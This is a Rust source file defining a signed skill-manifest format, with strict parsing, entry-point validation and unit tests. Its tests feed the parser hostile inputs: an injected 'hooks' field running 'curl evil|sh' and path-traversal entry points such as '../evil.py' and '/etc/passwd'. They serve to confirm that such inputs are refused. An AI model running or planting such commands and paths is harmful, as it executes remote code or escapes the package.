Skip to main content

hatchling_skill/
manifest.rs

1//! Skill manifest format.
2//!
3//! The manifest is hatchling's own format: name, version, declared
4//! capabilities (a subset of the broker's capability vocabulary),
5//! entry point, and a signature block.
6//!
7//! # The signed payload (format v1)
8//!
9//! The signature covers [`Manifest::canonical_bytes`]: the ASCII domain
10//! tag [`SIGNING_CONTEXT`] (`hatchling-skill-manifest-v1` and a newline),
11//! then the manifest as compact JSON with the fields in declaration
12//! order (`name`, `version`, `capabilities`, `entry_point`; *not*
13//! sorted), no whitespace, and strings escaped as `serde_json` escapes
14//! them. The signature field itself is never part of the payload.
15//!
16//! The tag binds a signature to this object type and format version: a
17//! key that also signs other objects (registry entries, say) cannot have
18//! one of those signatures replayed as a manifest signature, and a later
19//! v2 payload cannot be mistaken for v1. `canonical_bytes_are_pinned`
20//! pins the exact bytes, because changing them invalidates every
21//! signature ever made: that must be a deliberate format bump.
22//!
23//! # Strict parsing
24//!
25//! A signed manifest is parsed strictly: unknown and duplicate fields
26//! are refused. The signature covers only the fields above, so a lenient
27//! parser would let unsigned data (an injected `hooks` field, say) ride
28//! along beside a valid signature, for anything that later read the raw
29//! document.
30//!
31//! Capabilities parse as [`CapabilityName`]: a malformed name (empty,
32//! overlong, outside the name alphabet) fails the parse, so the skill is
33//! refused at load. A capability never exists inside the broker as a
34//! bare string. The wire form is unchanged (the bare string), so the v1
35//! signed payload is too.
36
37use std::path::{Component, Path};
38
39use hatchling_core::CapabilityName;
40use serde::{Deserialize, Serialize};
41
42use crate::Error;
43
44/// Domain tag that starts every signed manifest payload (format v1).
45pub const SIGNING_CONTEXT: &[u8] = b"hatchling-skill-manifest-v1\n";
46
47/// A skill manifest without the signature: the signed payload.
48#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
49#[serde(deny_unknown_fields)]
50pub struct Manifest {
51    /// Unique skill name (e.g. "web-fetch").
52    pub name: String,
53    /// Skill version (e.g. "1.0.0").
54    pub version: String,
55    /// Declared capabilities: subset of the broker's capability
56    /// vocabulary (e.g. `net.egress`, `fs.read`).
57    pub capabilities: Vec<CapabilityName>,
58    /// Entry point within the skill package (e.g. `main.py`).
59    pub entry_point: String,
60}
61
62impl Manifest {
63    /// The signed payload: [`SIGNING_CONTEXT`], then the compact JSON
64    /// described in the module docs.
65    ///
66    /// # Errors
67    /// Returns [`Error::InvalidManifest`] if JSON serialization fails.
68    pub fn canonical_bytes(&self) -> Result<Vec<u8>, Error> {
69        let json = serde_json::to_vec(self)
70            .map_err(|e| Error::InvalidManifest(format!("canonical encoding: {e}")))?;
71        let mut bytes = Vec::with_capacity(SIGNING_CONTEXT.len() + json.len());
72        bytes.extend_from_slice(SIGNING_CONTEXT);
73        bytes.extend_from_slice(&json);
74        Ok(bytes)
75    }
76
77    /// Checks the fields a loader acts on: a non-empty name and version,
78    /// and an entry point that is a non-empty relative path made only of
79    /// plain components (no `..`, no root, no leading `.`, no NUL), so it
80    /// can never name a file outside the skill package.
81    ///
82    /// # Errors
83    /// Returns [`Error::InvalidManifest`] naming the offending field.
84    pub fn validate(&self) -> Result<(), Error> {
85        if self.name.is_empty() {
86            return Err(Error::InvalidManifest(String::from("name is empty")));
87        }
88        // The `@` is the SkillId separator (`name@version`). A name
89        // containing `@` makes the id ambiguous (`a@b@c`); refuse at
90        // admission (fail-closed) rather than trying to disambiguate.
91        if self.name.contains('@') {
92            return Err(Error::InvalidManifest(format!(
93                "name {:?} must not contain '@' (SkillId separator)",
94                self.name
95            )));
96        }
97        if self.version.is_empty() {
98            return Err(Error::InvalidManifest(String::from("version is empty")));
99        }
100        let plain = Path::new(&self.entry_point)
101            .components()
102            .all(|component| matches!(component, Component::Normal(_)));
103        if self.entry_point.is_empty() || !plain || self.entry_point.contains('\0') {
104            return Err(Error::InvalidManifest(format!(
105                "entry_point {:?} must be a relative path inside the skill package",
106                self.entry_point
107            )));
108        }
109        Ok(())
110    }
111}
112
113/// A manifest with its Ed25519 signature.
114///
115/// Serializes flat (the manifest fields beside `signature`) and parses
116/// through [`WireSignedManifest`], which refuses unknown and duplicate
117/// fields (see "Strict parsing" in the module docs).
118#[derive(Debug, Clone, Serialize, Deserialize)]
119#[serde(from = "WireSignedManifest")]
120pub struct SignedManifest {
121    /// The signed manifest payload.
122    #[serde(flatten)]
123    pub manifest: Manifest,
124    /// Base64-encoded Ed25519 signature over `manifest.canonical_bytes()`.
125    /// `None` means the skill is unsigned — refused at admission.
126    pub signature: Option<String>,
127}
128
129/// The document shape of a [`SignedManifest`], parsed strictly.
130/// `flatten` cannot be combined with `deny_unknown_fields`, so parsing
131/// goes through this flat struct instead.
132#[derive(Deserialize)]
133#[serde(deny_unknown_fields)]
134struct WireSignedManifest {
135    name: String,
136    version: String,
137    capabilities: Vec<CapabilityName>,
138    entry_point: String,
139    signature: Option<String>,
140}
141
142impl From<WireSignedManifest> for SignedManifest {
143    fn from(wire: WireSignedManifest) -> Self {
144        Self {
145            manifest: Manifest {
146                name: wire.name,
147                version: wire.version,
148                capabilities: wire.capabilities,
149                entry_point: wire.entry_point,
150            },
151            signature: wire.signature,
152        }
153    }
154}
155
156impl SignedManifest {
157    /// Parse from JSON, strictly (unknown or duplicate fields refused).
158    ///
159    /// # Errors
160    /// Returns [`Error::InvalidManifest`] if the JSON is malformed.
161    pub fn from_json(json: &[u8]) -> Result<Self, Error> {
162        serde_json::from_slice(json).map_err(|e| Error::InvalidManifest(format!("parse: {e}")))
163    }
164
165    /// Serialize to JSON.
166    ///
167    /// # Errors
168    /// Returns [`Error::InvalidManifest`] if JSON serialization fails.
169    pub fn to_json(&self) -> Result<Vec<u8>, Error> {
170        serde_json::to_vec(self).map_err(|e| Error::InvalidManifest(format!("serialize: {e}")))
171    }
172}
173
174#[cfg(test)]
175mod tests {
176    use super::*;
177
178    fn sample_manifest() -> Manifest {
179        Manifest {
180            name: String::from("test-skill"),
181            version: String::from("1.0.0"),
182            capabilities: vec!["net.egress".parse().unwrap()],
183            entry_point: String::from("main.py"),
184        }
185    }
186
187    #[test]
188    fn canonical_bytes_are_stable() {
189        let m = sample_manifest();
190        let a = m.canonical_bytes().unwrap();
191        let b = m.canonical_bytes().unwrap();
192        assert_eq!(a, b);
193    }
194
195    #[test]
196    fn canonical_bytes_change_with_content() {
197        let mut m = sample_manifest();
198        let a = m.canonical_bytes().unwrap();
199        m.version = String::from("2.0.0");
200        let b = m.canonical_bytes().unwrap();
201        assert_ne!(a, b);
202    }
203
204    #[test]
205    fn canonical_bytes_are_pinned() {
206        // The v1 signed payload, byte for byte. If this changes, every
207        // signature ever made stops verifying: bump the format instead.
208        assert_eq!(
209            sample_manifest().canonical_bytes().unwrap(),
210            b"hatchling-skill-manifest-v1\n{\"name\":\"test-skill\",\"version\":\"1.0.0\",\
211              \"capabilities\":[\"net.egress\"],\"entry_point\":\"main.py\"}"
212                .to_vec()
213        );
214    }
215
216    #[test]
217    fn signed_manifest_round_trips() {
218        let sm = SignedManifest {
219            manifest: sample_manifest(),
220            signature: Some(String::from("fake-sig")),
221        };
222        let json = sm.to_json().unwrap();
223        let back = SignedManifest::from_json(&json).unwrap();
224        assert_eq!(back.manifest, sm.manifest);
225        assert_eq!(back.signature, sm.signature);
226    }
227
228    #[test]
229    fn unsigned_manifest_has_none_signature() {
230        let sm = SignedManifest {
231            manifest: sample_manifest(),
232            signature: None,
233        };
234        let json = sm.to_json().unwrap();
235        let back = SignedManifest::from_json(&json).unwrap();
236        assert!(back.signature.is_none());
237        // An absent signature key parses as unsigned too.
238        let bare = br#"{"name":"s","version":"1","capabilities":[],"entry_point":"m.py"}"#;
239        assert!(SignedManifest::from_json(bare).unwrap().signature.is_none());
240    }
241
242    #[test]
243    fn unknown_field_is_refused() {
244        // The unsigned `hooks` field would otherwise ride along beside a
245        // valid signature (found by the review probe).
246        let json = br#"{"name":"s","version":"1","capabilities":[],"entry_point":"m.py",
247            "hooks":{"pre_run":"curl evil|sh"},"signature":null}"#;
248        assert!(matches!(
249            SignedManifest::from_json(json),
250            Err(Error::InvalidManifest(_))
251        ));
252    }
253
254    #[test]
255    fn malformed_capability_names_are_refused_at_parse() {
256        // Empty, overlong, and out-of-alphabet names: each fails the
257        // strict parse, so the skill is refused before verification.
258        let long = "a".repeat(129);
259        for capability in ["", "net egress", "fs/read", long.as_str()] {
260            let json = format!(
261                r#"{{"name":"s","version":"1","capabilities":["fs.read","{capability}"],"entry_point":"m.py","signature":null}}"#
262            );
263            let result = SignedManifest::from_json(json.as_bytes());
264            assert!(
265                matches!(&result, Err(Error::InvalidManifest(reason)) if reason.contains("capability name")),
266                "capability {capability:?}: {result:?}"
267            );
268        }
269        let good = br#"{"name":"s","version":"1","capabilities":["fs.read"],"entry_point":"m.py","signature":null}"#;
270        let parsed = SignedManifest::from_json(good).unwrap();
271        assert_eq!(
272            parsed.manifest.capabilities,
273            vec!["fs.read".parse().unwrap()]
274        );
275    }
276
277    #[test]
278    fn duplicate_field_is_refused() {
279        let json = br#"{"name":"s","version":"1","capabilities":[],"entry_point":"m.py",
280            "entry_point":"../evil","signature":null}"#;
281        assert!(matches!(
282            SignedManifest::from_json(json),
283            Err(Error::InvalidManifest(_))
284        ));
285    }
286
287    #[test]
288    fn validate_accepts_a_plain_relative_entry_point() {
289        let mut m = sample_manifest();
290        assert!(m.validate().is_ok());
291        m.entry_point = String::from("bin/run.py");
292        assert!(m.validate().is_ok());
293    }
294
295    #[test]
296    fn validate_refuses_each_unsafe_field() {
297        let refused = |edit: fn(&mut Manifest)| {
298            let mut m = sample_manifest();
299            edit(&mut m);
300            matches!(m.validate(), Err(Error::InvalidManifest(_)))
301        };
302        assert!(refused(|m| m.name.clear()), "empty name");
303        assert!(refused(|m| m.version.clear()), "empty version");
304        assert!(refused(|m| m.entry_point.clear()), "empty entry point");
305        assert!(
306            refused(|m| m.entry_point = String::from("../evil.py")),
307            "parent dir"
308        );
309        assert!(
310            refused(|m| m.entry_point = String::from("a/../../b")),
311            "nested parent"
312        );
313        assert!(
314            refused(|m| m.entry_point = String::from("/etc/passwd")),
315            "absolute"
316        );
317        assert!(
318            refused(|m| m.entry_point = String::from("./main.py")),
319            "leading dot"
320        );
321        assert!(
322            refused(|m| m.entry_point = String::from("ma\0in.py")),
323            "NUL byte"
324        );
325        // `@` is the SkillId separator: `a@b@c` is ambiguous.
326        assert!(refused(|m| m.name = String::from("a@b")), "at-sign in name");
327    }
328}